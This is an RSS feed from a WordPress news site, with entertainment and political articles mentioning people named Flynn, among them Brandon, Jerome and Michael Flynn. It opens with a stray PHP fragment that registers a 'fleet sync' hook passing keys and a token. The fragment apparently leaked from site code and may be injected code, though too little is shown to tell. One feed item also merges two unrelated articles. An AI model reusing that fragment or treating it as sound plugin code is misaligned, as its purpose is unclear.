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_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Flynn – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Sat, 13 Jun 2020 16:31:15 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.8 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png Flynn – Brief News https://briefnews.eu 32 32 Performer of the Week: Brandon Flynn https://briefnews.eu/performer-of-the-week-brandon-flynn/ https://briefnews.eu/performer-of-the-week-brandon-flynn/#respond Sat, 13 Jun 2020 16:31:15 +0000 https://briefnews.eu/performer-of-the-week-brandon-flynn/ THE PERFORMER | Brandon Flynn

THE SHOW | 13 Reasons Why

THE EPISODE | “Graduation” (June 5, 2020)

THE PERFORMANCE | Given that the Netflix teen drama has sustained itself by consistently blindsiding its audience with devastating twists and turns, it’s no surprise that 13 Reasons Why saved one of its greatest tragedies — and most powerful performances — for last. But that doesn’t mean we were ready for either of them.

Warning: The rest of this article spoils the series finale of 13 Reasons Why. Read on at your own risk.

After passing out on the dance floor at prom, Justin was diagnosed with AIDS, a disease that ravaged him seemingly overnight. It was an unpredictable twist and an unthinkable fate for Flynn’s character, a
well-meaning high school senior with a difficult history of intravenous drug use and homeless sex work. Watching Justin say goodbye to Jessica, the love of his young life, was expectedly devastating, but we simply did not have the emotional capacity to handle Justin’s farewell to Clay, the closest thing he had to a brother.

Not only did Flynn nail the physicality of Justin’s neurological infection — hearing him struggle to speak in final moments was an instant tearjerker — but he also expertly maneuvered the layered dynamics of the scene itself. Justin was clearly determined to appear strong for the sake of his friends and family, but as the reality of
his mortality began to sink in, you could feel the facade crumbling under the immensity of the situation. We never thought the question “Can you hold my hand, bro?” would ever shatter us to pieces, but here we are.

This was certainly not how Justin’s friends (nor the show’s viewers) would have chosen to say goodbye to this beloved character, but from an acting standpoint, it almost feels like the perfect performance to immortalize Flynn’s contribution to the unflinching series.

What We do In the Shadows HONORABLE MENTION | What We Do in the Shadows… is slay vampires — if you’re Guillermo de la frickin’ Cruz. And in this week’s finale, boy, did the conflicted familiar and portrayer Harvey Guillén each rise to the occasion. For a full season, Guillermo was torn between his accidental (ancestral?) aptitude with a stake and his deep-seated wish to be a vampire. But when his master, Nandor, and the other roommates were lured into an insidious trap, both “Gizmo” and Guillén, seemingly with the flip of a switch, swung into John Wickian warrior mode, bravely breaching the Vampire Theatre and then brazenly dispatching with dozens of bloodsuckers, by a colorful variety of means. It was a ruthless rampage by the oft-dismissed servant, and a bravura performance by Guillén.

HONORABLE MENTION | For a short while there on DC’s Stargirl, we, like Courtney, could only wonder what “loser table” member Yolanda’s deal was. This week we found out, and the story that unspooled was a nice showcase for Yvette Monreal. In flashbacks, we met a far sunnier Yolanda, one who had everything going for her. But with one cruel prank, she lost everything — including that light within her. Monreal thus played the teen as sapped of her spirit, rueful for that U-turn life threw her. Then, when Courtney nudged Yolanda to be a part of a heroic crusade — by suiting up as Wildcat — Monreal revisited the spark that has been snuffed. There was a heartbreaking hiccup, when Yolanda pleaded with her parents to put the past behind them, only to be rudely rebuffed. But that turned out to be the cue she needed to embrace a superhero persona, landing outside Court’s window with a winning smile.

Adriana Barraza Penny DreadfulHONORABLE MENTION | We howled with excitement as the “old coyote” bared her teeth in Sunday’s Penny Dreadful: City of Angels. It had already been a hell of an episode for Adriana Barraza, the force of nature who plays the Vega family’s fiery matriarch, Maria. She’d subtly rendered the housekeeper’s disgust at dealing with her employer’s mistress and radiated genuine warmth in dealing with the man himself. But then… oh, then came Maria’s downright thrilling faceoff with Natalie Dormer’s Magda. As the old woman toyed with her nemesis, feigning weakness before rising up to declare that she and her children weren’t pawns in the she-demon’s chess game, “we are kings and queens,” Barraza gave a performance that was so fierce, it should’ve earned her more than an Honorable Mention, a crown.

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]]> https://briefnews.eu/performer-of-the-week-brandon-flynn/feed/ 0 Game of Thrones’ Jerome Flynn Muses: Might Bronn Stab Jaime in the Back? https://briefnews.eu/game-of-thrones-jerome-flynn-muses-might-bronn-stab-jaime-in-the-back/ https://briefnews.eu/game-of-thrones-jerome-flynn-muses-might-bronn-stab-jaime-in-the-back/#respond Fri, 12 Apr 2019 23:00:58 +0000 http://briefnews.eu/game-of-thrones-jerome-flynn-muses-might-bronn-stab-jaime-in-the-back/

A sellsword’s loyalty is always up for grabs — It’s right there in the name! But over the past few seasons, Game of Thrones mercenary Bronn has seemed to settle into (and maybe even enjoy?) his role of Jaime Lannister’s right-hand man and de facto confidante.

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However, just because Bronn’s been riding with a lion for a while doesn’t mean he won’t entertain other offers, portrayer Jerome Flynn tells TVLine.

“There’s reasons he’s attached to Jaime,” the actor says, but those reasons don’t necessarily include affection or loyalty. “He still hasn’t got his payoff, the castle and the wife and everything.”

Ah yes, Bronn’s payoff. Longtime viewers of the HBO series will recall that Jaime once promised the hardscrabble knight a stately home and a woman, a debt that Bronn has tried to collect several times over the past few seasons… with little success. When you consider that if Jaime dies, the deal likely does, too, it puts Bronn’s heroic measures after the Loot Train Battle in a new light, doesn’t it?

So as we head into Season 8, Flynn adds, Jaime better not get too complacent about the soldier of fortune’s support.

“I think he’d take a good offer, sure,” he says.

Unless, of course, Bronn somehow got his castle off-screen during the long hiatus between Seasons 7 and 8?

“You got it,” Flynn says, laughing as he paints the scene. “Jaime’s serving tea. He’s got a thing going with Daenerys. The White Walkers have retreated, and that’s it. Whoops! Gave it away.”

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]]> https://briefnews.eu/game-of-thrones-jerome-flynn-muses-might-bronn-stab-jaime-in-the-back/feed/ 0 Timeless Boss Breaks Down Lucy's Difficult Decision, the Must-Have Flynn Scene, Other Series Finale Twists https://briefnews.eu/timeless-boss-breaks-down-lucys-difficult-decision-the-must-have-flynn-scene-other-series-finale-twists/ https://briefnews.eu/timeless-boss-breaks-down-lucys-difficult-decision-the-must-have-flynn-scene-other-series-finale-twists/#respond Fri, 21 Dec 2018 08:53:48 +0000 http://briefnews.eu/timeless-boss-breaks-down-lucys-difficult-decision-the-must-have-flynn-scene-other-series-finale-twists/ The Timeless Team embarked on one final mission — followed by another final, final mission — as the time-travel drama wrapped its two-season run on NBC this Thursday night.

Spurred on by the most unexpected arrival of dystopian, circa-2023 Lucy and Wyatt, the Time Team aimed to get Rufus back into the timeline, alive and well, though our Wyatt deduced that to do so, his not-pregnant sorta-wife Jessica would need to be re-removed from the equation.

Before the Time Team could do much with the quickly departing Future Lucy’s marching orders, they had to chase the Mothership to 1848 California, where Emma and Jessica aimed to activate their final sleeper agent (while gathering gold nuggets along the way). Flynn went along, but after giving Lucy the Reader’s Digest version of their ill-fated future liaison — which was referenced in Future Lucy’s journal — he sneaked off in the Lifeboat-Plus to do what Wyatt feared need be done: kill Jessica on that fateful night, as he apparently always did.

Flynn suffered through the side effects of visiting a timeline in which he already exists long enough to do the deed, after which he sent the Lifeboat-Plus back to 1848, caught a peek at himself with his happy family, and then slipped away to eventually die.

Back in the Gold Rush, Lucy, Wyatt and Jiya were being held prisoner when who should save the day but Rufus, freshly restored to the timeline by Flynn’s heroics! Emma realized the “fix” had been made when she returned to the Rittenhouse base hollering for Jessica, only to learn no such henchwoman existed. Emma made tracks for 1950 North Korea, where she bribed a pilot to crash a heliclockter helicopter carrying Lucy, Wyatt, Rufus and Jiya. Upon arriving in that wartime period, the Time Team did hitch a ride from the pilot, but survived the crash. Afterward, while waiting to commandeer a ride, they found themselves helping a young woman give birth. Lucy sought out a proper doctor, only to watch from afar as a bomb blew up the location where ersatz-midwife Wyatt had holed up with the pregnant lady. Wyatt, though, emerged from the blast perimeter with a baby girl in his arms.

After the mom and her family were delivered to safety via the Hungnam Evacuation (aka “The Miracle at Christmas”), the Time Team hid in a chapel, fearing the worst… until Agent Christopher arrived in the Mothership, with prisoner Emma acting as pilot! Emma then dangled a sweet deal before Lucy — the possible return of her sister, Amy. Lucy, though, didn’t believe Emma and made the difficult decision to let that part of her past stand pat. Emma was shot dead as Chinese forces arrived on the scene, while the Time Team piloted both time ships back to the present.

In a series of final sequences, we visited a 2023 that was not dystopian, where Lucy was a freshly tenured history professor and she and Wyatt were parents to twin girls named Flynn and Amy. Rufus and Jiya were also happily together, and had founded some sort of STEM/tech foundation smush-named RIYA. Agent Christopher was still with the government, as was Connor, and while the Mothership had been purposely destroyed, they held onto the Lifeboat-Plus just in case someone else (inevitably) invents time travel and history again needs saving. The original Time Team would use the ship one final, final time, to visit 2014 São Paolo, where Lucy needed to complete the loop by delivering her journal to a downtrodden Flynn, emotionally reassuring hm that while he would be painted as a terrorist and traitor and ally with a cause few believe in, his emerge as “maybe the greatest hero of us all.”

Then, in one last bonus scene, we saw that Paulina, a young girl who duly impressed Rufus at a 2023 science fair, was sketching ideas for a time machine….

Here is what Timeless co-creator Shawn Ryan told TVLine about the finale’s big developments.

TVLINE | For starters, I have replayed that closing montage at least a half dozen times so far. The music is terrific. Goosebumps every time.
It’s fun, isn’t it? The beginning of that song, that “Time After Time” cover, sounds a little bit like the Stranger Things theme.

TVLINE | Outside of wanting the finale to be generally “satisfying” and all that, what specifically was on your “must do” checklist?
Well, we had to save Rufus.

TVLINE | Well, yeah.
Can you imagine if we made this and we didn’t save Rufus? [Laughs]  The backlash we would have endured?!

TVLINE | “Sorry, folks. Just couldn’t make it happen.”
I also think we had to deal Rittenhouse a real death blow…. We had to resolve the Lucy/Wyatt/Flynn romantic triangle of it all…. And I know that [co-creator] Eric Kripke, for months if not a year-and-a-half, has been adamant about how at some point we had to go back to São Paolo, Brazil, and see Lucy give Flynn the journal. That turned out to be this real emotional wallop in the finale, so credit to Eric for knowing that it was something that needed to be in there.

TVLINE | That scene sneaked up on me, but as it started, I was like, “Yep, this totally had to happen.” And the speech Lucy gave him made sense — it tracks that Flynn would go on to behave the way he did for two seasons.
Yeah, Eric was quite right about that. Also, because Jiya in the last couple episodes of Season 2 had lived this whole other life for three years, in the 1880s, we wanted to ask: How has that changed her? That was something that we wanted to get across. And then we wanted to find a couple of cool time periods and historical characters to deal with. That’s always been one of the not-so-secret pleasures of the show, showing the audience a time and a place that’s different from our own.

TVLINE | How did you arrive at 1950 North Korea?
As often happens in this business, you’re given some constraints — and it oftentimes leads to the best things creatively. When NBC picked up this [double-episode finale], the very strongly worded request from [network boss] Bob Greenblatt was, “We think were going to air this around Christmas, so we really want this to be Christmas-themed” We were like, “Oh, OK. Well, that takes out 363 of the 365 days a year.” It’s already hard enough to find a historical event, now we’ve got to find one around Christmas Eve or Christmas Day.

We spent three weeks, maybe, investigating. There was the idea, “What about Washington crossing the Delaware on Christmas Eve?,” and I was like, “We already had George Washington in Season 1, so it feels like that would be repetitive. We need something new and different.” And then Eric and Lauren [Greer], who wrote the episode, were like, “We think we’ve got something,” and they told me the story about the evacuation of Hungnam in 1950, during the Korean War — dubbed “The Miracle at Christmas.” I was like, “Well that’s a title, if they want this to be Christmas-themed!” The only issue was that there’s no one really of huge historical significance involved in it, and that’s when we discussed, “Wouldn’t it be beautiful if the important historical figure here isn’t a famous person but is Everywoman?” This pregnant woman that we came up with is a stand-in for everyone that isn’t written about in history books but is nonetheless important.

TVLINE | Am I right that Emma’s final acts were to 1) get gold nuggets from 1848 to then 2) make gold bars to pay off the pilot in Korea…?
She also used the time machine to pick up some art, including the Mona Lisa.

TVLINE | So Cahill was a bit right that she was phoning it in for Rittenhouse.
Yes, yes. But also by setting up the “Wanted” posters [in 1848], her plan in the first and second hour was to lure the Time Team to a place where they could be ambushed and taken out of the picture. But the gold was the main incentive for her. It was less about changing history and more about replenishing the coffers.

TVLINE | Talk about Lucy’s decision to not try to get back her sister.
There was a lot of conversation about that. I will take the credit or the blame for that one, because ultimately the more I thought about it, the more I felt that they would have to make the decision that using these time machines, even if you’re trying to do something good, ultimately is bad. That really, she’s going through a loss that is no different than the loss that almost every person goes through in their life, be it a sibling or a parent or a friend…. The speech that she gives to Wyatt in the Lifeboat, before they go back, is about how everyone finds a way through [loss], because that’s life, essentially. That is bookended afterwards when you go to five years later and they’ve named their twins Amy and Flynn — that is the circle of life, that is the progression…. To me, that decision makes them just so much more human.

Part of the fun of time travel shows in general, I have learned, is the idea that you can make mistakes and go back and change them is really intoxicating, and yet it isn’t a real option for us. The idea that she suffers the kind of loss that we all suffer and finds a way through it, she finds a way to happiness, she finds away to tenure and marriage and twins… was more life-affirming than going back and manipulating things. “I’ve lost my sister and I’m not getting her back.” And Flynn will look at his family through a window, but the reality is that he’s lost them. Tragedies happen and we can’t always change them.

TVLINE | The brief, ill-fated affair with Lucy that Flynn spoke about — when would that have been?
In the timeline that results in Future Wyatt and Future Lucy coming back from the year 2023, I think it would have existed in that timeline probably in the 2019-2020 range, I would say.

TVLINE | Was there any scenario where you weren’t going to tease the possibility for more to come, with that Paulina scene at the end?
[Laughs] No. We’re sort of like Rufus, we’re a little cocky in the idea that death doesn’t “take” with us, so to me it was important to have. We wanted to give a very satisfying conclusion to the NBC portion of this show, and what may be the end of any version of this show. At the same time, we wanted that liiiiittle crack, so that if the time comes, the set-up is there for it.

TVLINE | Do you have in mind a precipitating event for the Season 3 premiere, if there ever should be one?
Not yet! It’s a little too early. I’d have to feel some momentum and get the sense that somebody might make it, and then I’d assemble whatever writers I could and talk it through.

TVLINE | Lastly, do you have any favorite Easter eggs in the finale?
Well, my wife [The Shield‘s Cathy Cahlin Ryan] voices [Paulina’s] mom in the final scene. [Laughs] The other one that was sort of fun comes when the montage starts after the Sao Paolo scene. The very first thing we see is Flynn in his Mason Industries uniform, putting on his badge. That’s actually a scene we had shot when we made the pilot, back in March 2016, that we cut for time. We remembered that we had that and were like, “Wouldn’t it be cool if we see that, as he prepares…?” So if you look, he does look two years younger.

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]]> https://briefnews.eu/timeless-boss-breaks-down-lucys-difficult-decision-the-must-have-flynn-scene-other-series-finale-twists/feed/ 0 ‘Sharp Objects’ Trailer: Amy Adams is Dangerous in HBO’s Gillian Flynn Adaptation https://briefnews.eu/sharp-objects-trailer-amy-adams-is-dangerous-in-hbos-gillian-flynn-adaptation/ https://briefnews.eu/sharp-objects-trailer-amy-adams-is-dangerous-in-hbos-gillian-flynn-adaptation/#respond Tue, 05 Jun 2018 21:17:18 +0000 http://briefnews.eu/sharp-objects-trailer-amy-adams-is-dangerous-in-hbos-gillian-flynn-adaptation/ sharp objects trailer

Gillian Flynn‘s debut novel gets the HBO treatment with Sharp Objects, a new miniseries adaptation starring Amy Adams and Patricia Clarkson. Watch the unsettling new Sharp Objects trailer below ahead of the July premiere.

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HBO struck gold with the Jean-Marc Vallée-directed Big Little Lies. Now they’re hoping to do it again with the Vallée-helmed Sharp Objects. Like Big Little Lies, Sharp Objects is based on a novel – in this case the debut novel from Gone Girl author Gillian Flynn. Sharp Objects looks much darker than Big Little Lies, though, and may be courting a completely different audience. Flynn adapted her book to script with Buffy the Vampire Slayer and UnREAL vet Marti Noxon. Jason Blum is serving as executive producer, because that guy is everywhere these days.

Adams plays Camille Preaker, a “reporter who returns to her small hometown to cover the murders of two preteen girls. Trying to put together a psychological puzzle from her past, she finds herself identifying with the young victims a bit too closely.” Patricia Clarkson plays Adams’ mother, who looks like she’s literally been torn from the pages of a Southern Gothic novel. Other cast members include Eliza Scanlen, Elizabeth Perkins, Madison Davenport, Chris Messina, Matt Craven, Taylor John Smith and It break-out Sophia Lillis playing Adams’ character when she was younger.

I’m a fan of Flynn’s writing, but I haven’t read Sharp Objects yet. This trailer makes the miniseries look incredible, though. It looks eerie and disturbing, and I love the idea of Adams – one of the best actresses working today – getting a chance to sink her teeth into a much darker role. Here’s the book’s official synopsis, which might provide more insight into the story:

Fresh from a brief stay at a psych hospital, reporter Camille Preaker faces a troubling assignment: she must return to her tiny hometown to cover the murders of two preteen girls. For years, Camille has hardly spoken to her neurotic, hypochondriac mother or to the half-sister she barely knows: a beautiful thirteen-year-old with an eerie grip on the town. Now, installed in her old bedroom in her family’s Victorian mansion, Camille finds herself identifying with the young victims—a bit too strongly. Dogged by her own demons, she must unravel the psychological puzzle of her own past if she wants to get the story—and survive this homecoming.

Sharp Objects premieres on HBO on July 8, 2018 at 9PM.

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]]> https://briefnews.eu/sharp-objects-trailer-amy-adams-is-dangerous-in-hbos-gillian-flynn-adaptation/feed/ 0 The right-wing media is pushing a dubious claim about Mueller’s case against Michael Flynn https://briefnews.eu/the-right-wing-media-is-pushing-a-dubious-claim-about-muellers-case-against-michael-flynn/ https://briefnews.eu/the-right-wing-media-is-pushing-a-dubious-claim-about-muellers-case-against-michael-flynn/#respond Fri, 23 Feb 2018 00:31:23 +0000 http://briefnews.eu/the-right-wing-media-is-pushing-a-dubious-claim-about-muellers-case-against-michael-flynn/ Michael FlynnJonathan Ernst/Reuters

  • The right-wing media has suggested in recent days that a new court order in the case against former national-security adviser Michael Flynn implies he will be exonerated soon.
  • The judge presiding over the Flynn case, Judge Emmet Sullivan, has issued a similar order in every criminal case he’s overseen since 2009. 
  • Legal experts said the order itself was routine practice, adding that the question wasn’t whether Flynn would be exonerated, but whether he would be pardoned by President Donald Trump. 

The right-wing media sphere has latched onto a new and fairly routine judicial order as evidence that the former national-security adviser, Michael Flynn, may soon be exonerated as part of the Russia investigation.

Flynn pleaded guilty in December to one count of making false statements to investigators about his contacts with Sergei Kislyak, then Russia’s ambassador to the US, during an interview with the FBI near the end of January 2017. He resigned as national security adviser less than a month after the interview, when news reports surfaced that he had misled Vice President Mike Pence about his conversations with Kislyak. 

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Ahead of the New Year, the investigation into the Trump campaign’s potential collusion with Russia during the 2016 presidential election remained relatively quiet, as it has since former national security adviser Michael Flynn’s dramatic indictment at the start of this month.

Special counsel Robert Mueller III dove into the Trump campaign’s data operations, while the concurrent congressional investigations took a closer look at the details of the June 2016 Trump Tower meeting between Donald Trump Jr., campaign chairman Paul Manafort, Jared Kushner, and a Russia-linked lawyer, Natalia Veselnitskaya.

On the sidelines of all of this were continued attacks on the FBI’s integrity, which were matched by pushback from its defenders, as well a more conciliatory, yet telling, approach from Trump toward Mueller’s probe.

Here’s everything you need to know about what has happened this week:

  • Congressional intelligence committees interviewed a little-known businessman who attended the June 2016 Trump Tower meeting: The Senate and House questioned Irakly Kaveladze, a Georgian-American businessman, in a closed-door meeting about whether he helped organize a meeting between Russians and Donald Trump, Jr. during the 2016 election campaign.
  • Mueller homes in on the Trump campaign’s massive data operation: Throughout the campaign, the Trump team targeted voters in critical swing states using data analytics. Mueller is investigating whether the campaign’s tactics were “related to the activities of Russian trolls and bots aimed at influencing the American electorate.”
  • Trump says he thinks Mueller will treat him ‘fairly’: In an interview with The New York Times, Trump seemed to show some measure of deference to Mueller, even as some of his Republican allies continue to attack. He also repeatedly insisted that there was no collusion between his campaign and Russia. He mentioned the phrase “no collusion” 16 times.
  • Trump doubles down on not firing Mueller: Trump told The New York Times that he did not intend to fire Mueller. However, he remarked that the investigation had galvanized his supporters, which is perhaps the real indicator of why Trump may have taken firing Mueller off the table, for now.

  • Republican congressman calls for a ‘purge’ of the FBI: Republican Rep. Francis Rooney said Tuesday that he wants to see the upper ranks of the FBI purged of politically motivated agents who he believes are working for what he called the “deep state.” Richard Painter, the former chief ethics lawyer for President George W. Bush, fired back against the suggestion, saying FBI director Christopher Wray should stand up to Trump and his allies’ dictatorial attacks on the agency.

  • FBI Agents Association sees a surge in donations after Trump’s attacks: The FBI Agents Association (FBIAA) reported a “significant uptick” in the number of donations it received in December compared to the same time last year amid Trump’s repeated efforts to undermine public confidence in the bureau. It is unclear if there is any correlation between the donations and the political drama surrounding the agency.
  • Trump team prepares to malign Mike Flynn in case he flips: Trump’s lawyers are reportedly preparing to cast former national security Michael Flynn as a liar if Flynn accuses Trump of any wrongdoing as part of his ongoing cooperation with Mueller. However such an image of Flynn would call into question why Trump had sung Flynn’s praises earlier this year and during the campaign.

Mueller is currently spearheading the FBI’s investigation into Russia’s interference in the 2016 election, including whether members of Trump’s campaign colluded with Moscow to tilt the election in his favor. He is also looking into whether Trump sought to obstruct justice when he fired FBI Director James Comey in May.

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]]> https://briefnews.eu/this-week-in-the-trump-russia-investigation-mueller-targets-big-data-the-white-house-prepares-to-cast-mike-flynn-as-a-liar-and-gop-rep-calls-for-fbi-purge/feed/ 0 Following ‘unmasking’ of Michael Flynn, US to tighten the screws on spies https://briefnews.eu/following-unmasking-of-michael-flynn-us-to-tighten-the-screws-on-spies/ https://briefnews.eu/following-unmasking-of-michael-flynn-us-to-tighten-the-screws-on-spies/#respond Fri, 08 Dec 2017 18:09:20 +0000 http://briefnews.eu/following-unmasking-of-michael-flynn-us-to-tighten-the-screws-on-spies/ Amid persistent claims the Obama administration eavesdropped on members of Trump’s transition team and leaked General Michael Flynn’s name to the media, tough new restrictions are on the horizon.

The Director of National Intelligence Dan Coats said new rules to address the issue of ‘unmasking’ are set to go into effect on January 15, 2018.

The new procedures will “make clear that IC (intelligence community) elements may not engage in political activity, including dissemination of US person identities to the White House, for the purpose of affecting the political process of the United States,” Coats wrote to Congress.

Considering the ongoing probe by Special Counsel Robert Mueller against former and present members of the Trump administration, that statement will be heard like a crack of thunder around Washington, DC.

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That’s because behind the ongoing drama known as ‘Russiagate’ – which is becoming less a story of ‘collusion’ between Trump and Russia, and more a tale of Republican vs. Democrat intrigue – the nagging question persists: who leaked information to the media that former National Security Adviser Michael Flynn had engaged in conversation with Russian officials during the transition period?

In early January, just before Trump was inaugurated, the Obama administration “eviscerated” the limits on sharing raw NSA intelligence with other federal agencies, including the FBI and the CIA. Within days, the Washington Post published a report that Flynn had discussed new sanctions placed on Russia with Russian Ambassador Sergei Kislyak. That in itself was not illegal. Flynn was ultimately fired for lying to Vice President Mike Pence about the conversations, however.

It is widely assumed that the NSA recorded Flynn’s conversation, but who told the Post about it, and why? The question is not an idle one, considering that leaking the name of a US citizen listed in an intelligence report to the media is a criminal offense. Back in March, Trump went on a Twitter spree, accusing Barack Obama of spying on his private telephone communications, a very serious allegation.

The FBI Director at the time, James Comey, denied it.

“With respect to the president’s tweets about alleged wiretapping directed at him by the prior administration, I have no information that supports those tweets and we have looked carefully inside the FBI,” Comey said.

However, when it became known that officials got warrants to surveil Paul Manafort – Trump’s former campaign chairman who has also been dragged into the ‘Russiagate’ scandal – before and after the 2016 election under the Foreign Intelligence Surveillance Act (FISA), conservative news outlets argued it vindicated Trump’s earlier assertions.

Conducting surveillance on American citizens is considered so sensitive that their names are supposed to remain concealed or “masked” – even inside the government – to protect their privacy. In the case with Michael Flynn, some are suggesting that his ‘unmasking’ in the media was done for political purposes, in an attempt to damage the Trump presidency.

“Nobody wants our intel agencies to be used like the Stasi in East Germany; the secret police spying on its own citizens for political purposes,”wrote Sharyl Attkisson in an opinion piece for The Hill. “The prospect of our own NSA, CIA and FBI becoming politically weaponized has been shrouded by untruths, accusations and justifications.” 

Whatever the case may be, the move by National Intelligence to regulate ‘unmasking’ will be used by the Trump administration to bolster its claim of impropriety by the Obama administration during the transitional period. The war of words surrounding ‘Russiagate’ promises to continue.

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]]> https://briefnews.eu/following-unmasking-of-michael-flynn-us-to-tighten-the-screws-on-spies/feed/ 0 Trump’s lawyer offered a dubious explanation for Trump’s bombshell tweet about Michael Flynn https://briefnews.eu/trumps-lawyer-offered-a-dubious-explanation-for-trumps-bombshell-tweet-about-michael-flynn/ https://briefnews.eu/trumps-lawyer-offered-a-dubious-explanation-for-trumps-bombshell-tweet-about-michael-flynn/#respond Mon, 04 Dec 2017 08:47:45 +0000 http://briefnews.eu/trumps-lawyer-offered-a-dubious-explanation-for-trumps-bombshell-tweet-about-michael-flynn/ Donald TrumpAlex Wong/Getty Images

  • President Donald Trump’s personal defense lawyer, John Dowd, claimed he authored a controversial tweet from Trump’s Twitter account this weekend.
  • The tweet seemed to indicate that Trump was aware, when he fired former national security adviser Michael Flynn in February, that Flynn had lied to the FBI about his Russian contacts.
  • If true, the revelation could dramatically bolster the obstruction-of-justice case the special counsel is building against Trump.
  • Dowd’s explanation for the tweet raised new questions as well.

President Donald Trump’s personal defense lawyer, John Dowd, said this weekend that he was the one who drafted Trump’s controversial tweet about former national security adviser Michael Flynn. 

“I had to fire General Flynn because he lied to the Vice President and the FBI,” said a tweet sent from Trump’s account on Saturday. “He has pled guilty to those lies. It is a shame because his actions during the transition were lawful. There was nothing to hide!”

When Business Insider reached out to Trump’s lead defense attorney, Ty Cobb, on Saturday, Cobb referred questions about the tweet to Dowd. 

Dowd told Axios on Sunday that the tweet was “my mistake.”

“I’m out of the tweeting business,” Dowd said. “I did not mean to break news.”

Flynn was forced to resign as national security adviser in February, when it emerged that he had spoken to Russian ambassador Sergey Kislyak about US sanctions on Russia on December 29 — the same day President Barack Obama imposed the sanctions.

Trump told reporters at the time that he had been forced to fire Flynn because he had misled Vice President Mike Pence about those conversations. But the White House gave no indication at the time that it knew Flynn had lied to the FBI in a January interview about those conversations — a federal crime that Flynn pleaded guilty to on Friday.

Trump’s tweet on Saturday appeared to indicate that Trump was aware Flynn had lied to the FBI when he departed the administration in February. If Trump knew that Flynn was in the FBI’s crosshairs when he asked former FBI Director James Comey — whom he later fired — to consider “letting Flynn go” the day after Flynn resigned, that could bolster the obstruction case federal prosecutors are building against Trump. 

The tweet also seemed inconsistent with what a person close to White House counsel Don McGahn told the New York Times on Friday. The person said that when former Acting Attorney General Sally Yates warned McGahn in January — 18 days before Flynn’s departure — that Flynn could be vulnerable to Russian blackmail, she did not mention that Flynn had committed a federal crime.

Dowd addressed Yates’ warning Sunday, telling Axios that when Yates went to the White House to warn McGahn about Flynn’s misleading statements, she told him that Flynn had “given the [FBI agents] the same story he gave the Vice President” about his contacts with Russians. 

Dowd’s statement raises questions about why he would author a tweet claiming Trump fired Flynn in part because he lied to the FBI, while simultaneously maintaining that Trump did not know Flynn had made false statements to investigators at the time of his departure. 

Several legal experts also pointed out that the tweet’s wording was inconsistent with that used by most experienced attorneys. 

Dowd told Axios that “the point of the tweet was entirely correct. It’s just very sad. I don’t know why the guy lied. He didn’t need to.”

He did not immediately respond to a request for comment. 

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]]> https://briefnews.eu/trumps-lawyer-offered-a-dubious-explanation-for-trumps-bombshell-tweet-about-michael-flynn/feed/ 0 SNL's Trump Visited by Michael Flynn, Taunted by Hillary — 'Lock Him Up!' https://briefnews.eu/snls-trump-visited-by-michael-flynn-taunted-by-hillary-lock-him-up/ https://briefnews.eu/snls-trump-visited-by-michael-flynn-taunted-by-hillary-lock-him-up/#respond Sun, 03 Dec 2017 06:20:56 +0000 http://briefnews.eu/snls-trump-visited-by-michael-flynn-taunted-by-hillary-lock-him-up/

President Donald Trump lived through his very own version of A Christmas Carol this weekend, which culminated with former 2016 election opponent Hillary Clinton chanting, “Lock him up!”

It all went down on Saturday Night Live, where Alec Baldwin’s POTUS was first visited by the Ghost of Christmas Flipped, Michael Flynn. The former National Security Advisor, who on Friday was indicted for lying to the FBI about his contact with Russian officials, warned Trump that it was time to turn himself in to the feds.